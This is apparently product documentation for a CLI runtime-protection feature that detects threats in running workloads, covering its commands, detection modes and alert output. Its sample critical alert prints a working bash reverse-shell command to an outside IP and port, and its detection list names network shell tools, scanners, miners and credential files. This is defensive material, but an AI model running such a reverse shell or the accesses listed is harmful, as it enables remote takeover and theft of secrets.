Runtime Protection

Premium

Runtime Protection provides real-time threat detection for running workloads. Auto-detects your environment and uses the best available monitoring solution.

Quick Start

# Start runtime protection (auto-detects best mode)
$ codephreak runtime-start

# Check protection status
$ codephreak runtime-status

# View security alerts
$ codephreak runtime-alerts

# Stop protection
$ codephreak runtime-stop

Hybrid Approach

CodePhreak automatically detects your environment and selects the best monitoring solution:

AWS GuardDuty

Zero install - uses AWS API

Auto-selected when AWS credentials detected

GCP Security Command Center

Zero install - uses GCP API

Auto-selected when GCP credentials detected

Falco Connector

Connects to existing Falco daemon

Auto-selected when Falco is running

Lightweight Monitor

Works everywhere - no dependencies

Universal fallback option

Protection Modes

# Auto-detect (default)
$ codephreak runtime-start

# Force specific mode
$ codephreak runtime-start --mode lightweight
$ codephreak runtime-start --mode guardduty --region us-east-1
$ codephreak runtime-start --mode gcp-scc --project my-project
$ codephreak runtime-start --mode falco

# Run in foreground (for testing)
$ codephreak runtime-start --foreground

Command Options

Command	Description
runtime-start	Start runtime protection monitoring
runtime-stop	Stop runtime protection
runtime-status	Show current protection status
runtime-alerts	View detected security alerts

Viewing Alerts

# View alerts from last 24 hours
$ codephreak runtime-alerts

# Filter by severity
$ codephreak runtime-alerts --severity critical
$ codephreak runtime-alerts --severity high,critical

# View alerts from last 48 hours
$ codephreak runtime-alerts --since 48

# Watch alerts in real-time
$ codephreak runtime-alerts --watch

What It Detects

Reverse Shells

• nc, ncat, netcat connections
• bash -i interactive shells
• Python/Perl/Ruby one-liners
• Suspicious outbound connections

Reconnaissance

• nmap, masscan port scanning
• Internal network probing
• Service enumeration

Cryptominers

• xmrig, minerd processes
• High CPU usage anomalies
• Mining pool connections

Data Access

• /etc/passwd, /etc/shadow access
• SSH key reading
• Cloud metadata access (IMDS)
• Docker socket access

Example Alert

$ codephreak runtime-alerts --severity critical

🚨 Critical Alerts (2)

┏━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┓
│ CRITICAL: Reverse shell detected                              │
├───────────────────────────────────────────────────────────────┤
│ Time:      2024-01-15T10:23:45Z                               │
│ Process:   /bin/bash                                          │
│ Command:   bash -i >& /dev/tcp/45.33.32.156/4444 0>&1        │
│ User:      www-data                                           │
│ PID:       12847                                              │
│ MITRE:     T1059.004 - Command and Scripting Interpreter     │
│                                                               │
│ Remediation: Terminate process, investigate container         │
└───────────────────────────────────────────────────────────────┘

MITRE ATT&CK Mapping

All alerts are mapped to MITRE ATT&CK techniques for standardized threat classification:

T1059 - Command and Scripting Interpreter
T1046 - Network Service Discovery
T1496 - Resource Hijacking (Cryptomining)
T1552 - Unsecured Credentials
T1071 - Application Layer Protocol (C2)

State Persistence

Runtime state is persisted to ~/.codephreak/runtime_state.json, allowing status to be checked across CLI invocations:

$ codephreak runtime-status

    Runtime Protection Status     
┏━━━━━━━━━━━━━━━━━━┳━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┓
┃ Property         ┃ Value                       ┃
┡━━━━━━━━━━━━━━━━━━╇━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┩
│ Status           │ 🟢 Running                  │
│ Mode             │ lightweight                 │
│ Source           │ Lightweight Process Monitor │
│ Started At       │ 2024-01-15T10:00:00         │
│ Platform         │ darwin                      │
│ Recommended Mode │ lightweight                 │
└──────────────────┴─────────────────────────────┘

Prerequisites by Mode

Lightweight (Zero Install)

Works everywhere with no additional setup.

AWS GuardDuty

AWS credentials configured, GuardDuty enabled in account.

GCP Security Command Center

GCP credentials configured, SCC API enabled.

Falco

Falco daemon running with socket at /var/run/falco/falco.sock

View Alerts in Dashboard

Runtime alerts are synced to the web dashboard with severity breakdown, MITRE ATT&CK links, and remediation guidance.

Try the Dashboard Demo